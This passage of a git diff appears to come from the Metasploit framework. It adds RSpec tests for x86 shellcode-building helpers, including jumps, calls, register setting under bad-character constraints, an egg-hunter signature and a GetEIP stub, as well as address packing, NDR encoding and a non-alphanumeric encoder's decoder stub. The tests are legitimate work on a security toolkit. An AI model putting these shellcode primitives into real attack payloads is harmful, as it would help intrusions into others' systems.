+ is_expected.to eq("BB") + end + end + end + + + describe ".pack_dword" do + subject { described_class.pack_dword(num) } + let(:num) { 0x41424344 } + + it "packs as unsigned 32 little endian " do + is_expected.to eq("DCBA") + end + + context "when arguments longer than 32-bit unsigned" do + let(:num) { 0x4142424242 } + it "truncates" do + is_expected.to eq("BBBB") + end + end + end + + describe ".pack_lsb" do + subject { described_class.pack_lsb(num) } + let(:num) { 0x41424344 } + + it "returns the least significant byte of a packed dword" do + is_expected.to eq("D") + end + end + + describe "._check_reg" do + context "when single argument" do + context "is valid" do + it { expect(described_class._check_reg(Rex::Arch::X86::EDI)).to be_nil } + end + + context "is invalid" do + it { expect { described_class._check_reg(0xfffffff) }.to raise_error(Rex::ArgumentError) } + end + end + + context "when several arguments" do + context "are valid" do + it { expect(described_class._check_reg(Rex::Arch::X86::EDI, Rex::Arch::X86::ESI)).to be_nil } + end + + context "include an invalid one" do + it { expect { described_class._check_reg(Rex::Arch::X86::EDI, 0xfffffff) }.to raise_error(Rex::ArgumentError) } + end + end + end + + describe "._check_badchars" do + subject { described_class._check_badchars("Test", badchars) } + + context "when data contains badchars" do + let(:badchars) { "sac" } + + it "raises an error" do + expect { subject }.to raise_error(Rex::RuntimeError) + end + end + + context "when data doesn't contain badhars" do + let(:badchars) { "dac" } + it { is_expected.to eq("Test") } + end + end + + describe ".fpu_instructions" do + subject { described_class.fpu_instructions } + + it "returns an Array" do + is_expected.to be_an(Array) + end + + it "includes valid FPU instructions" do + is_expected.to include("\xd9\xd0") + is_expected.to include("\xda\xc0") + end + end + + describe ".jmp_reg" do + subject { described_class.jmp_reg(reg) } + + context "when valid register" do + let(:reg) { "eax" } + it { is_expected.to eq("\xFF\xE0") } + end + + context "when invalid register" do + let(:reg) { "non_existent"} + it "raises an error" do + expect { subject }.to raise_error(NameError) + end + end + end + + describe ".rel_number" do + + context "when no delta argument" do + subject { described_class.rel_number(num) } + + context "num argument starts with $+" do + let(:num) { "$+20" } + it { is_expected.to eq(20)} + end + + context "num argument is $+" do + let(:num) { "$+" } + it { is_expected.to eq(0)} + end + + context "num argument starts with $-" do + let(:num) { "$-20" } + it { is_expected.to eq(-20)} + end + + context "num argument is $-" do + let(:num) { "$-" } + it { is_expected.to eq(0)} + end + + context "num argument starts with 0x" do + let(:num) { "0x20" } + it { is_expected.to eq(32)} + end + + context "num argument is 0x" do + let(:num) { "0x" } + it { is_expected.to eq(0)} + end + + context "num argument is other string" do + let(:num) { "20" } + it "raises error" do + expect { subject }.to raise_error(TypeError) + end + end + + context "num argument is a number" do + let(:num) { 20 } + it { is_expected.to eq(20) } + end + end + + context "when there is delta argument" do + subject { described_class.rel_number(num, delta) } + let(:delta) { 20 } + + context "num argument starts with $+" do + let(:num) { "$+20" } + it { is_expected.to eq(40)} + end + + context "num argument is $+" do + let(:num) { "$+" } + it { is_expected.to eq(20)} + end + + context "num argument starts with $-" do + let(:num) { "$-20" } + it { is_expected.to eq(0)} + end + + context "num argument is $-" do + let(:num) { "$-" } + it { is_expected.to eq(20)} + end + + context "num argument starts with 0x" do + let(:num) { "0x20" } + it { is_expected.to eq(52)} + end + + context "num argument is 0x" do + let(:num) { "0x" } + it { is_expected.to eq(20)} + end + + context "num argument is other string" do + let(:num) { "20" } + it "raises error" do + expect { subject }.to raise_error(TypeError) + end + end + + context "num argument is a number" do + let(:num) { 20 } + it { is_expected.to eq(20) } + end + end + end + + describe ".loop" do + subject { described_class.loop(offset) } + + context "offset argument is number" do + context "1" do + let(:offset) { 1 } + it { is_expected.to eq("\xE2\x01") } + end + + context "255" do + let(:offset) { 255 } + it { is_expected.to eq("\xE2\xFF") } + end + + context "within half-word range" do + let(:offset) { 65534 } + it "truncates offset" do + is_expected.to eq("\xE2\xFE") + end + end + end + + context "offset argument is string" do + context "starting with $+" do + let(:offset) { "$+20" } + it { is_expected.to eq("\xe2\x12") } + end + + context "$+" do + let(:offset) { "$+" } + it { is_expected.to eq("\xe2\xfe") } + end + + context "starting with $-" do + let(:offset) { "$-20" } + it { is_expected.to eq("\xe2\xea") } + end + + context "$-" do + let(:offset) { "$-" } + it { is_expected.to eq("\xe2\xfe") } + end + + context "starting with 0x" do + let(:offset) { "0x20" } + it { is_expected.to eq("\xe2\x1e") } + end + + context "0x" do + let(:offset) { "0x" } + it { is_expected.to eq("\xe2\xfe") } + end + + context "0x41ff" do + let(:offset) { "0x41ff" } + it "truncates offset" do + is_expected.to eq("\xe2\xfd") + end + end + + context "starting in another way" do + let(:offset) { "20" } + it "raises error" do + expect { subject }.to raise_error(TypeError) + end + end + end + end + + describe ".jmp" do + subject { described_class.jmp(addr) } + + context "addr is number" do + let(:addr) { 0x41424344 } + it { is_expected.to eq("\xE9\x44\x43\x42\x41") } + end + + context "addr is string" do + context "starting with $+" do + let(:addr) { "$+200" } + it { is_expected.to eq("\xe9\xc8\x00\x00\x00") } + end + + context "$+" do + let(:addr) { "$+" } + it { is_expected.to eq("\xe9\x00\x00\x00\x00") } + end + + context "starting with $-" do + let(:addr) { "$-20" } + it { is_expected.to eq("\xe9\xec\xff\xff\xff") } + end + + context "$-" do + let(:addr) { "$-" } + it { is_expected.to eq("\xe9\x00\x00\x00\x00") } + end + + context "starting with 0x" do + let(:addr) { "0x41424344" } + it { is_expected.to eq("\xe9\x44\x43\x42\x41") } + end + + context "0x" do + let(:addr) { "0x" } + it { is_expected.to eq("\xe9\x00\x00\x00\x00") } + end + + context "starting in another way" do + let(:addr) { "20" } + it "raises error" do + expect { subject }.to raise_error(TypeError) + end + end + end + end + + describe ".dword_adjust" do + + context "when one byte string is sent as dword" do + subject { described_class.dword_adjust(dword) } + let(:dword) { "\xff"} + + it "raises error" do + expect { subject }.to raise_error(NoMethodError) + end + end + + context "when amount argument isn't set" do + subject { described_class.dword_adjust(dword) } + let(:dword) { "\xff\xff\xff\xff"} + + it "returns the same dword packed" do + is_expected.to eq("\xff\xff\xff\xff") + end + end + + context "when amount argument is set" do + subject { described_class.dword_adjust(dword, amount) } + + context "and doesn't overflow" do + let(:dword) { "\x41\x42\x43\x44" } + let(:amount) { 2 } + + it "returns the incremented dword packed" do + is_expected.to eq("\x43\x42\x43\x44") + end + end + + context "and overflows" do + let(:dword) { "\xff\xff\xff\xff" } + let(:amount) { 1 } + + it "truncates" do + is_expected.to eq("\x00\x00\x00\x00") + end + end + end + end + + describe ".searcher" do + subject { described_class.searcher(tag) } + + context "when tag is between '\\x00\\x00\\x00\\x00' and '\\xff\\xff\\xff\\xff'" do + let(:signature) do + "\x39\x37\x75\xfb\x46" + end + + let(:tag) do + [0x41424344].pack("V") + end + + it "returns the searcher routine" do + is_expected.to include(signature) + end + end + + context "when tag is '\\x00\\x00\\x00\\x00'" do + let(:tag) do + [0x00000000].pack("V") + end + + let(:signature) do + "\xbe\xff\xff\xff\xff" + end + + it "initializes an underflowed esi" do + is_expected.to include(signature) + end + end + end + + describe ".push_dword" do + subject { described_class.push_dword(val) } + let(:val) { 0x41424344 } + it "returns a push dword instruction" do + is_expected.to eq("\x68\x44\x43\x42\x41") + end + end + + describe ".copy_to_stack" do + subject { described_class.copy_to_stack(len) } + + context "when len argument is four byte aligned" do + let(:len) { 4 } + it "returns 'copy_to_stack' snippet" do + is_expected.to include("\xeb\x0f\x68\x04\x00\x00\x00") + end + end + + context "when len argument isn't four byte aligned" do + let(:len) { 3 } + it "returns snippet with len aligned" do + is_expected.to include("\xeb\x0f\x68\x04\x00\x00\x00") + end + end + end + + describe ".jmp_short" do + subject { described_class.jmp_short(addr) } + + context "when addr is number" do + context "one byte length" do + let(:addr) { 0x00 } + it "returns the jmp instr to the addr" do + is_expected.to eq("\xeb\x00") + end + end + + context "> one byte length" do + let(:addr) { 0x4142 } + it "returns the jmp instr to the addr truncated" do + is_expected.to eq("\xeb\x42") + end + end + end + + context "when addr is string" do + context "starting with $+" do + let(:addr) { "$+4" } + it { is_expected.to eq("\xeb\x2") } + end + + context "$+" do + let(:addr) { "$+" } + it { is_expected.to eq("\xeb\xfe") } + end + + context "starting with $-" do + let(:addr) { "$-2" } + it { is_expected.to eq("\xeb\xfc") } + end + + context "$-" do + let(:addr) { "$-" } + it { is_expected.to eq("\xeb\xfe") } + end + + context "starting with 0x" do + let(:addr) { "0x41" } + it { is_expected.to eq("\xeb\x3f") } + end + + context "0x" do + let(:addr) { "0x" } + it { is_expected.to eq("\xeb\xfe") } + end + + context "with a two bytes number" do + let(:addr) { "0x4142" } + it "truncates" do + is_expected.to eq("\xeb\x40") + end + end + + context "starting in another way" do + let(:addr) { "20" } + it "raises error" do + expect { subject }.to raise_error(TypeError) + end + end + end + end + + describe ".call" do + subject { described_class.call(addr) } + + context "addr is number" do + let(:addr) { 0x41424344 } + it { is_expected.to eq("\xE8\x44\x43\x42\x41") } + end + + context "addr is string" do + context "starting with $+" do + let(:addr) { "$+200" } + it { is_expected.to eq("\xe8\xc3\x00\x00\x00") } + end + + context "$+" do + let(:addr) { "$+" } + it { is_expected.to eq("\xe8\xfb\xff\xff\xff") } + end + + context "starting with $-" do + let(:addr) { "$-20" } + it { is_expected.to eq("\xe8\xe7\xff\xff\xff") } + end + + context "$-" do + let(:addr) { "$-" } + it { is_expected.to eq("\xe8\xfb\xff\xff\xff") } + end + + context "starting with 0x" do + let(:addr) { "0x41424344" } + it { is_expected.to eq("\xe8\x3f\x43\x42\x41") } + end + + context "0x" do + let(:addr) { "0x" } + it { is_expected.to eq("\xe8\xfb\xff\xff\xff") } + end + + context "starting in another way" do + let(:addr) { "20" } + it "raises error" do + expect { subject }.to raise_error(TypeError) + end + end + end + end + + describe ".reg_name32" do + subject { described_class.reg_name32(num) } + + context "when reg id is valid" do + let(:num) { rand(7) } + it { is_expected.to be_an(String) } + end + + context "when reg id isn't valid" do + let(:num) { 29 } + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + end + + describe ".encode_effective" do + subject { described_class.encode_effective(shift, reg) } + + let(:shift) { 0 } + let(:reg) { Rex::Arch::X86::ECX } + + it "encodes the effective value for a register" do + is_expected.to eq(0xc0 | (shift << 3) | reg) + end + end + + describe ".encode_modrm" do + subject { described_class.encode_modrm(dst, src) } + + context "when dst is an invalid register" do + let(:dst) { 31337 } + let(:src) { Rex::Arch::X86::ECX } + it { expect { subject }.to raise_error(ArgumentError) } + end + + context "when src is an invalid register" do + let(:dst) { Rex::Arch::X86::ECX } + let(:src) { 31337 } + it { expect { subject }.to raise_error(ArgumentError) } + end + + context "when dst and src are valid registers" do + let(:dst) { Rex::Arch::X86::ECX } + let(:src) { Rex::Arch::X86::EAX } + it "generates the mod r/m character" do + is_expected.to eq((0xc8).chr) + end + end + end + + describe ".push_byte" do + subject { described_class.push_byte(byte) } + + context "when byte is out of range" do + let(:byte) { 0x100 } + it { expect { subject }.to raise_error(::ArgumentError) } + end + + context "when byte is in range" do + let(:byte) { 127 } + it "generates correct instruction" do + is_expected.to eq("\x6a\x7f") + end + end + end + + describe ".push_word" do + subject { described_class.push_word(val) } + + context "when val is a word" do + let(:val) { 0x4142 } + it "generates push instruction" do + is_expected.to eq("\x66\x68\x42\x41") + end + end + + context "when val is bigger than word" do + let(:val) { 0x41424344 } + it "generates push instruction with val truncated" do + is_expected.to eq("\x66\x68\x44\x43") + end + end + end + + describe ".push_dword" do + subject { described_class.push_dword(val) } + + context "when val is a dword" do + let(:val) { 0x41424344 } + it "generates push instruction" do + is_expected.to eq("\x68\x44\x43\x42\x41") + end + end + + context "when val is bigger than dword" do + let(:val) { 0x100000000 } + it "generates push instruction with val truncated" do + is_expected.to eq("\x68\x00\x00\x00\x00") + end + end + end + + describe ".pop_dword" do + subject { described_class.pop_dword(reg) } + + context "when reg is invalid" do + let(:reg) { 31337 } + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + + context "reg is valid" do + let(:reg) { Rex::Arch::X86::ECX } + it "generates pop instruction" do + is_expected.to eq("\x59") + end + end + end + + describe ".clear" do + subject { described_class.clear(reg, badchars) } + let(:reg) { Rex::Arch::X86::ECX } + let(:badchars) { '' } + + it "returns a clear instruction" do + expect(subject).to be_an(String) + end + + context "when reg is invalid" do + let(:reg) { 31337 } + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + + context "when too many badchars" do + let(:badchars) { (0x00..0xff).to_a.pack("C*") } + it "raises an error" do + expect { subject }.to raise_error(RuntimeError) + end + end + end + + + describe ".mov_byte" do + subject { described_class.mov_byte(reg, val) } + let(:reg) { Rex::Arch::X86::ECX } + let(:val) { 3 } + + it "generates a mov instruction" do + is_expected.to eq("\xb1\x03") + end + + context "when reg is invalid" do + let(:reg) { 31337 } + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + + context "when val is out of range" do + let(:val) { 31337 } + it "raises an error" do + expect { subject }.to raise_error(RangeError) + end + end + end + + describe ".mov_word" do + subject { described_class.mov_word(reg, val) } + + let(:reg) { Rex::Arch::X86::ECX } + let(:val) { 0x4142 } + + it "generates a mov instruction" do + is_expected.to eq("\x66\xb9\x42\x41") + end + + context "when reg is invalid" do + let(:reg) { 31337 } + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + + context "when val is out of range" do + let(:val) { 0x41424344 } + it "raises an error" do + expect { subject }.to raise_error(RangeError) + end + end + end + + + describe ".mov_dword" do + subject { described_class.mov_dword(reg, val) } + + let(:reg) { Rex::Arch::X86::ECX } + let(:val) { 0x41424344 } + it "generates a mov instruction" do + is_expected.to eq("\xb9\x44\x43\x42\x41") + end + + context "when reg is invalid" do + let(:reg) { 31337 } + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + + context "when val is out of range" do + let(:val) { 0x100000000 } + it "truncates value" do + is_expected.to eq("\xb9\x00\x00\x00\x00") + end + end + end + + describe ".set" do + subject { described_class.set(reg, val, badchars) } + + context "when reg is invalid" do + let(:reg) { 31337 } + let(:val) { 100 } + let(:badchars) { '' } + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + + context "when val is 0" do + let(:reg) { Rex::Arch::X86::ECX } + let(:val) { 0 } + + context "when no badchars" do + let(:badchars) { '' } + it "uses xor/sub instructions" do + expect(subject.length).to eq(2) + end + end + + context "when xor/sub opcodes are badchars" do + let(:badchars) { "\x29\x2b\x31\x33" } + + it "uses push byte/pop instructions" do + expect(subject.length).to eq(3) + end + end + + context "when xor/sub/push byte opcodes are badchars" do + let(:badchars) { "\x29\x2b\x31\x33\x6a" } + + it "uses mov dword instruction" do + expect(subject.length).to eq(5) + end + end + + context "when xor/sub/push byte/mov dword opcodes are badchars" do + let(:badchars) { "\x29\x2b\x31\x33\x6a\xb9" } + + it "uses push dword / pop instructions" do + expect(subject.length).to eq(6) + end + end + + context "when xor/sub/push byte/mov dword opcodes/push dword are badchars" do + let(:badchars) { "\x29\x2b\x31\x33\x6a\xb9\x68" } + + it "uses clear / mov word instructions" do + expect { subject.length }.to raise_error(RuntimeError) + end + end + end + + context "when val isn't 0" do + let(:reg) { Rex::Arch::X86::ECX } + let(:val) { 75 } + + context "when no badchars" do + let(:badchars) { '' } + it "uses push byte/pop instructions" do + expect(subject.length).to eq(3) + end + end + + context "when push byte opcodes are badchars" do + let(:badchars) { "\x6a" } + + it "uses clear/mov byte instruction" do + expect(subject.length).to eq(4) + end + end + + context "when push byte/mov byte opcodes are badchars" do + let(:badchars) { "\x6a\xb1" } + + it "uses mov dword instruction" do + expect(subject.length).to eq(5) + end + end + + context "when push byte/mov byte/mov dword opcodes are badchars" do + let(:badchars) { "\x6a\xb1\xb9" } + + it "it uses push dword/pop dst instructions" do + expect(subject.length).to eq(6) + end + end + + context "when push byte/mov byte/mov dword/push dword opcodes are badchars" do + let(:badchars) { "\x6a\xb1\xb9\x68" } + + it "raises an error" do + expect { subject.length }.to raise_error(RuntimeError) + end + end + end + end + + describe ".sub" do + subject { described_class.sub(val, reg) } + + context "when reg is valid" do + let(:reg) { Rex::Arch::X86::ECX } + + context "when val is one byte" do + let(:val) { 0x08 } + it { is_expected.to include("\x83") } + end + + context "when val is bigger than one byte" do + let(:val) { 0x4142 } + it { is_expected.to include("\x81") } + end + + context "when there are too many badchars" do + subject(:with_badchars) { described_class.sub(val, reg, badchars) } + let(:val) { 0x08 } + let(:reg) { Rex::Arch::X86::ECX } + let(:badchars) { "\x81\x83" } + it { expect(with_badchars).to be_nil } + end + end + + context "when reg is invalid" do + let(:reg) { 31337 } + let(:val) { 0x7 } + it { expect {subject}.to raise_error } + end + + end + + describe ".add" do + subject { described_class.add(val, reg) } + + context "when reg is valid" do + let(:reg) { Rex::Arch::X86::ECX } + + context "when val is one byte" do + let(:val) { 0x08 } + it { is_expected.to include("\x83") } + end + + context "when val is bigger than one byte" do + let(:val) { 0x4142 } + it { is_expected.to include("\x81") } + end + + context "when there are too many badchars" do + subject(:with_badchars) { described_class.add(val, reg, badchars) } + let(:val) { 0x08 } + let(:reg) { Rex::Arch::X86::ECX } + let(:badchars) { "\x81\x83" } + it { expect(with_badchars).to be_nil } + end + end + + context "when reg is invalid" do + let(:reg) { 31337 } + let(:val) { 0x7 } + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + end + + describe ".adjust_reg" do + subject { described_class.adjust_reg(reg, adjustment) } + + context "when reg is invalid" do + let(:reg) { 31337 } + let(:adjustment) { 0x8 } + + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + + context "when adjustment is > 0" do + let(:reg) { Rex::Arch::X86::ECX } + let(:adjustment) { 0x8 } + + it { is_expected.to include("\x81") } + it { expect(subject.length).to eq(8) } + end + + context "when adjusmtent is <= 0" do + let(:reg) { Rex::Arch::X86::ECX } + let(:adjustment) { 0 } + + it { is_expected.to include("\x81") } + it { expect(subject.length).to eq(6) } + end + end + + describe ".geteip_fpu" do + subject { described_class.geteip_fpu(badchars) } + + context "when no badchars" do + let(:badchars) { '' } + + it "returns an Array" do + is_expected.to be_an Array + end + + it "returns the stub as first element" do + expect(subject[0]).to be_an String + end + + it "returns a register as second element" do + expect(subject[1]).to be_an String + end + + it "returns a register as third element" do + expect(subject[2]).to be_an Fixnum + end + end + + context "when too many badchars" do + let(:badchars) { (0x00..0xff).to_a.pack("C*") } + + it { is_expected.to be_nil } + end + end + +end diff --git a/spec/lib/rex/arch_spec.rb b/spec/lib/rex/arch_spec.rb new file mode 100644 index 000000000000..8f019df3f0b8 --- /dev/null +++ b/spec/lib/rex/arch_spec.rb @@ -0,0 +1,177 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/arch' + +describe Rex::Arch do + + describe ".adjust_stack_pointer" do + subject { described_class.adjust_stack_pointer(arch, adjustment) } + let(:adjustment) { 100 } + + context "when arch is ARCH_X86" do + let(:arch) { ARCH_X86 } + + it "emits an ESP adjustment instruction" do + is_expected.to be_a_kind_of(String) + end + end + + context "when arch isn't ARCH_X86" do + let(:arch) { ARCH_FIREFOX } + + it "returns nil" do + is_expected.to be_nil + end + end + + context "when arch is an array" do + let(:arch) { [ARCH_X86, ARCH_FIREFOX] } + + it "uses the first arch in the array" do + is_expected.to be_a_kind_of(String) + end + end + end + + describe ".pack_addr" do + subject { described_class.pack_addr(arch, addr) } + + context "when arch is ARCH_X86" do + let(:arch) { ARCH_X86 } + let(:addr) { 0x41424344 } + it "packs addr as 32-bit unsigned, little-endian" do + is_expected.to eq("DCBA") + end + end + + context "when arch is ARCH_X86_64" do + let(:arch) { ARCH_X86_64 } + let(:addr) { 0x4142434445464748 } + it "packs addr as 62-bit unsigned, little-endian" do + is_expected.to eq("HGFEDCBA") + end + end + + context "when arch is ARCH_X64" do + let(:arch) { ARCH_X64 } + let(:addr) { 0x4142434445464748 } + it "packs addr as 62-bit unsigned, little-endian" do + is_expected.to eq("HGFEDCBA") + end + end + + context "when arch is ARCH_MIPS" do + let(:arch) { ARCH_MIPS } + let(:addr) { 0x41424344 } + it "packs addr as 32-bit unsigned, big-endian" do + is_expected.to eq("ABCD") + end + end + + context "when arch is ARCH_MIPSBE" do + let(:arch) { ARCH_MIPSBE } + let(:addr) { 0x41424344 } + it "packs addr as 32-bit unsigned, big-endian" do + is_expected.to eq("ABCD") + end + end + + context "when arch is ARCH_MIPSLE" do + let(:arch) { ARCH_MIPSLE } + let(:addr) { 0x41424344 } + it "packs addr as 32-bit unsigned, little-endian" do + is_expected.to eq("DCBA") + end + end + + context "when arch is ARCH_PPC" do + let(:arch) { ARCH_PPC } + let(:addr) { 0x41424344 } + it "packs addr as 32-bit unsigned, big-endian" do + is_expected.to eq("ABCD") + end + end + + context "when arch is ARCH_SPARC" do + let(:arch) { ARCH_SPARC } + let(:addr) { 0x41424344 } + it "packs addr as 32-bit unsigned, big-endian" do + is_expected.to eq("ABCD") + end + end + + context "when arch is ARCH_ARMLE" do + let(:arch) { ARCH_ARMLE } + let(:addr) { 0x41424344 } + it "packs addr as 32-bit unsigned, little-endian" do + is_expected.to eq("DCBA") + end + end + + context "when arch is ARCH_ARMBE" do + let(:arch) { ARCH_ARMBE } + let(:addr) { 0x41424344 } + it "packs addr as 32-bit unsigned, big-endian" do + is_expected.to eq("ABCD") + end + end + + context "when arch is invalid" do + let(:arch) { ARCH_FIREFOX } + let(:addr) { 0x41424344 } + + it "packs addr as 32-bit unsigned, big-endian" do + is_expected.to be_nil + end + end + + context "when arch is an Array" do + let(:arch) { [ARCH_ARMLE, ARCH_ARMBE, ARCH_X86_64] } + let(:addr) { 0x41424344 } + it "packs addr using the first architecture in the array" do + is_expected.to eq("DCBA") + end + end + end + + describe ".endian" do + + let(:endianesses) do + { + ARCH_X86 => ENDIAN_LITTLE, + ARCH_X86_64 => ENDIAN_LITTLE, + ARCH_MIPS => ENDIAN_BIG, + ARCH_MIPSLE => ENDIAN_LITTLE, + ARCH_MIPSBE => ENDIAN_BIG, + ARCH_PPC => ENDIAN_BIG, + ARCH_SPARC => ENDIAN_BIG, + ARCH_ARMLE => ENDIAN_LITTLE, + ARCH_ARMBE => ENDIAN_BIG + } + end + subject { described_class.endian(arch) } + + context "when recognized arch" do + it "returns its endianess" do + endianesses.each_key do |arch| + expect(described_class.endian(arch)).to eq(endianesses[arch]) + end + end + end + + context "when not recognized arch" do + let(:arch) { ARCH_FIREFOX } + it "returns ENDIAN_LITTLE" do + is_expected.to eq(ENDIAN_LITTLE) + end + end + + context "when arch is an array" do + let(:arch) { [ARCH_X86, ARCH_MIPSBE] } + it "returns first arch endianess" do + is_expected.to eq(ENDIAN_LITTLE) + end + end + end +end diff --git a/spec/lib/rex/encoder/ndr_spec.rb b/spec/lib/rex/encoder/ndr_spec.rb new file mode 100644 index 000000000000..57a1f60829ec --- /dev/null +++ b/spec/lib/rex/encoder/ndr_spec.rb @@ -0,0 +1,169 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/encoder/ndr' + +describe Rex::Encoder::NDR do + + describe ".align" do + subject { described_class.align(string) } + + context "when empty string argument" do + let(:string) { "" } + it { is_expected.to eq("") } + end + + context "when 32bit aligned length argument" do + let(:string) { "A" * 4 } + it { is_expected.to eq("") } + end + + context "when 32bit unaligned length argument" do + let(:string) { "A" * 5 } + it "returns the padding, as null bytes, necessary to 32bit align the argument" do + is_expected.to eq("\x00\x00\x00") + end + end + end + + describe ".long" do + subject { described_class.long(string) } + let(:string) { 0x41424344 } + + it "encodes the arguments as 32-bit little-endian unsigned integer" do + is_expected.to eq("\x44\x43\x42\x41") + end + + context "when argument bigger than 32-bit unsigned integer" do + let(:string) { 0x4142434445 } + it "truncates the argument" do + is_expected.to eq("\x45\x44\x43\x42") + end + end + end + + describe ".short" do + subject { described_class.short(string) } + let(:string) { 0x4142 } + + it "encodes the arguments as 16-bit little-endian unsigned integer" do + is_expected.to eq("\x42\x41") + end + + context "when argument bigger than 16-bit unsigned integer" do + let(:string) { 0x41424344 } + it "truncates the argument" do + is_expected.to eq("\x44\x43") + end + end + + end + + describe ".byte" do + subject { described_class.byte(string) } + let(:string) { 0x41 } + + it "encodes the arguments as 8-bit unsigned integer" do + is_expected.to eq("\x41") + end + + context "when argument bigger than 8-bit unsigned integer" do + let(:string) { 0x4142 } + it "truncates the argument" do + is_expected.to eq("\x42") + end + end + + end + + describe ".UniConformantArray" do + subject { described_class.UniConformantArray(string) } + let(:string) { "ABCDE" } + + it "returns the encoded string" do + is_expected.to be_kind_of(String) + end + + it "starts encoding the string length as 32-bit little-endian unsigned integer" do + expect(subject.unpack("V").first).to eq(string.length) + end + + it "adds the string argument" do + is_expected.to include(string) + end + + it "ends with padding to make result length 32-bits aligned" do + is_expected.to end_with("\x00" * 3) + end + end + + describe ".string" do + subject { described_class.string(string) } + let(:string) { "ABCD" } + + it "returns the encoded string" do + is_expected.to be_kind_of(String) + expect(subject.length).to eq(20) + end + + it "starts encoding string metadata" do + expect(subject.unpack("VVV")[0]).to eq(string.length) + expect(subject.unpack("VVV")[1]).to eq(0) + expect(subject.unpack("VVV")[2]).to eq(string.length) + end + + it "adds the string argument null-byte terminated" do + is_expected.to include("ABCD\x00") + end + + it "ends with padding to make result length 32-bits aligned" do + is_expected.to end_with("\x00" * 3) + end + end + + describe ".wstring" do + subject { described_class.wstring(string) } + + it_behaves_like "Rex::Encoder::NDR.wstring" + end + + describe ".UnicodeConformantVaryingString" do + subject { described_class.UnicodeConformantVaryingString(string) } + + it_behaves_like "Rex::Encoder::NDR.wstring" + end + + describe ".uwstring" do + subject { described_class.uwstring(string) } + + let(:string) { "ABCD" } + + it "encodes the argument as null-terminated unicode string" do + is_expected.to include("A\x00B\x00C\x00D\x00\x00\x00") + end + + it "starts encoding string metadata" do + expect(subject.unpack("VVVV")[1]).to eq(string.length + 1) + expect(subject.unpack("VVVV")[2]).to eq(0) + expect(subject.unpack("VVVV")[3]).to eq(string.length + 1) + end + + it "ends with padding to make result length 32-bits aligned" do + is_expected.to end_with("\x00" * 2) + expect(subject.length).to eq(28) + end + end + + describe ".wstring_prebuilt" do + subject { described_class.wstring_prebuilt(string) } + + it_behaves_like "Rex::Encoder::NDR.wstring_prebuild" + end + + describe ".UnicodeConformantVaryingStringPreBuilt" do + subject { described_class.UnicodeConformantVaryingStringPreBuilt(string) } + + it_behaves_like "Rex::Encoder::NDR.wstring_prebuild" + end + +end diff --git a/spec/lib/rex/encoder/nonalpha_spec.rb b/spec/lib/rex/encoder/nonalpha_spec.rb new file mode 100644 index 000000000000..189ad049f0d9 --- /dev/null +++ b/spec/lib/rex/encoder/nonalpha_spec.rb @@ -0,0 +1,142 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/encoder/nonalpha' + +describe Rex::Encoder::NonAlpha do + + let(:decoder) do + dec = "\x66\xB9\xFF\xFF" + + "\xEB\x19" + + "\\\x5E" + + "\x8B\xFE" + + "\x83\xC7" + "." + + "\x8B\xD7" + + "\x3B\xF2" + + "\\\x7D\x0B" + + "\xB0\\\x7B" + + "\xF2\xAE" + + "\xFF\xCF" + + "\xAC" + + "\\\x28\x07" + + "\xEB\xF1" + + "\xEB" + "." + + "\xE8\xE2\xFF\xFF\xFF" + Regexp.new(dec) + end + + describe ".gen_decoder" do + subject { described_class.gen_decoder } + + it "returns an String" do + is_expected.to be_kind_of(String) + end + + it "returns the decoder code" do + is_expected.to match(decoder) + end + end + + describe ".encode_byte" do + subject { described_class.encode_byte(block, table, tablelen) } + + context "when tablelen > 255" do + let(:block) { 0x20 } + let(:table) { "" } + let(:tablelen) { 256 } + + it "raises an error" do + expect { subject }.to raise_error(RuntimeError) + end + end + + context "when block == 0x7b" do + let(:block) { 0x7b } + let(:table) { "" } + let(:tablelen) { 0 } + + it "raises an error" do + expect { subject }.to raise_error(RuntimeError) + end + end + + context "when block is an upcase letter char code" do + let(:block) { 0x42 } + let(:table) { "" } + let(:tablelen) { 0 } + + it "returns an Array" do + is_expected.to be_kind_of(Array) + end + + it "returns a 3 fields Array" do + expect(subject.length).to eq(3) + end + + it "returns '{' char as block" do + expect(subject[0]).to eq('{') + end + + it "appends offset to table" do + expect(subject[1]).to eq((0x7b - block).chr) + end + + it "increments tablelen" do + expect(subject[2]).to eq(tablelen + 1) + end + end + + context "when block is a downcase letter char code" do + let(:block) { 0x62 } + let(:table) { "" } + let(:tablelen) { 0 } + + it "returns an Array" do + is_expected.to be_kind_of(Array) + end + + it "returns a 3 fields Array" do + expect(subject.length).to eq(3) + end + + it "returns '{' char as block" do + expect(subject[0]).to eq('{') + end + + it "appends offset to table" do + expect(subject[1]).to eq((0x7b - block).chr) + end + + it "increments tablelen" do + expect(subject[2]).to eq(tablelen + 1) + end + end + + context "when block is another char code" do + let(:block) { 0x7c } + let(:table) { "" } + let(:tablelen) { 0 } + + it "returns an Array" do + is_expected.to be_kind_of(Array) + end + + it "returns a 3 fields Array" do + expect(subject.length).to eq(3) + end + + it "returns same block char code" do + expect(subject[0]).to eq(block.chr) + end + + it "doesn't modify table" do + expect(subject[1]).to eq(table) + end + + it "doesn't modify tablelen" do + expect(subject[2]).to eq(tablelen) + end + end + end + +end diff --git a/spec/lib/rex/exploitation/js/detect_spec.rb b/spec/lib/rex/exploitation/js/detect_spec.rb index 87c7c2a59f4b..23eabd0032e6 100644 --- a/spec/lib/rex/exploitation/js/detect_spec.rb +++ b/spec/lib/rex/exploitation/js/detect_spec.rb @@ -7,21 +7,21 @@ context ".os" do it "should load the OS detection in Javascript" do js = Rex::Exploitation::Js::Detect.os.to_s - js.should =~ /window\.os_detect/ + js.should =~ /os_detect/ end end context ".ie_addons" do it "should load the IE Addons detection in Javascript" do js = Rex::Exploitation::Js::Detect.ie_addons.to_s - js.should =~ /window\.ie_addons_detect/ + js.should =~ /ie_addons_detect/ end end context ".misc_addons" do it "should load the misc Addons detection in Javascript" do js = 